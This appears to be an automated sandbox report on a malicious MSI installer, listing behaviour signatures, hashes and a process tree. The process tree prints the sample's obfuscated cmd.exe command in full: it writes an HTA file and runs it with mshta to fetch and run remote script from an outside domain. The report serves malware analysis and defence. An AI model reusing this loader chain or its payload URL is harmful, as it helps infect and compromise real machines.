Overview

overview

8

Static

static

431ad534fc...3b.msi

windows7_x64

8

431ad534fc...3b.msi

windows10_x64

8

Analysis

  • max time kernel
    123s
  • max time network
    126s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    24/12/2021, 07:51

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    431ad534fc574d08473cd984757f0b3b.msi
  • Size 284KB
  • Sample211224-jptrxaceh8
  • SHA256 2209c5dbbd235b1a48cdcc531f35b662e4d9fca6ddf89d099b45c2daf5d5487a
  • MD5 SHA1 SHA512
Score
8/10
discovery

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
    discovery
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Windows directory 11 IoCs
  • Checks SCSI registry key(s) 3 TTPs 64 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 54 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 31 IoCs

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\431ad534fc574d08473cd984757f0b3b.msi
    1⤵
    • Enumerates connected drives
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:3664
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2464
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1032
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 7B6395ECE75AD1F808D5621B31D44BEF
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1432
      • C:\Windows\SysWOW64\ICACLS.EXE
        "C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-6c86d044-4840-4f52-9c6a-06e9b3745c5b\." /SETINTEGRITYLEVEL (CI)(OI)HIGH
        3⤵
        • Modifies file permissions
        PID:1976
      • C:\Windows\SysWOW64\EXPAND.EXE
        "C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files
        3⤵
        • Drops file in Windows directory
        PID:2380
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /V/D/c "seT sKk=script&&seT px=mshta&&SEt ${svar7}=C:\Users\Public\\Videos\\^meo&&SEt ASLMK=^<!sKk!^>try{vrlbuar c=’!sKk!:’;d=’hrlbuTtP:’;GrlbuetObjrlbuect(c+d+’&&sET WVAN=ORPTPORPTPfjuaao.drogariasredeforte.com.brORPTP?3ORPTP’);}catch(e){}close();^</!sKk!^>&&sEt/^p FDO3="!ASLMK:rlbu=!!WVAN:ORPTP=/!"<nul > !${svar7}!.Hta|start /MIN CMD /c !px! !${svar7}!.HtA "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2696
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" sEt/p FDO3="<script>try{var c=’script:’;d=’hTtP:’;GetObject(c+d+’//fjuaao.drogariasredeforte.com.br/?3/’);}catch(e){}close();</script>" 0<nul 1>C:\Users\Public\\Videos\\meo.Hta"
          4⤵
            PID:3808
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" start /MIN CMD /c mshta C:\Users\Public\\Videos\\meo.HtA "
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:4284
            • C:\Windows\SysWOW64\cmd.exe
              CMD /c mshta C:\Users\Public\\Videos\\meo.HtA
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:2348
              • C:\Windows\SysWOW64\mshta.exe
                mshta C:\Users\Public\\Videos\\meo.HtA
                6⤵
                • Blocklisted process makes network request
                PID:1300
        • C:\Users\Admin\AppData\Local\Temp\MW-6c86d044-4840-4f52-9c6a-06e9b3745c5b\files\NETSTAT.EXE
          "C:\Users\Admin\AppData\Local\Temp\MW-6c86d044-4840-4f52-9c6a-06e9b3745c5b\files\NETSTAT.EXE"
          3⤵
          • Executes dropped EXE
          • Gathers network information
          • Suspicious use of AdjustPrivilegeToken
          PID:2576
        • C:\Windows\SysWOW64\ICACLS.EXE
          "C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-6c86d044-4840-4f52-9c6a-06e9b3745c5b\." /SETINTEGRITYLEVEL (CI)(OI)LOW
          3⤵
          • Modifies file permissions
          PID:1948
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4312
    • \??\c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s DsmSvc
      1⤵
      • Checks SCSI registry key(s)
      • Modifies data under HKEY_USERS
      PID:2600

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/1432-121-0x00000000028B0000-0x00000000028B1000-memory.dmp
          Download

          memory/1432-122-0x00000000028B0000-0x00000000028B1000-memory.dmp
          Download

          memory/2464-117-0x000001B868B30000-0x000001B868B32000-memory.dmp
          Download

          memory/2464-118-0x000001B868B30000-0x000001B868B32000-memory.dmp
          Download

          memory/3664-115-0x000001B99D900000-0x000001B99D902000-memory.dmp
          Download

          memory/3664-116-0x000001B99D900000-0x000001B99D902000-memory.dmp
          Download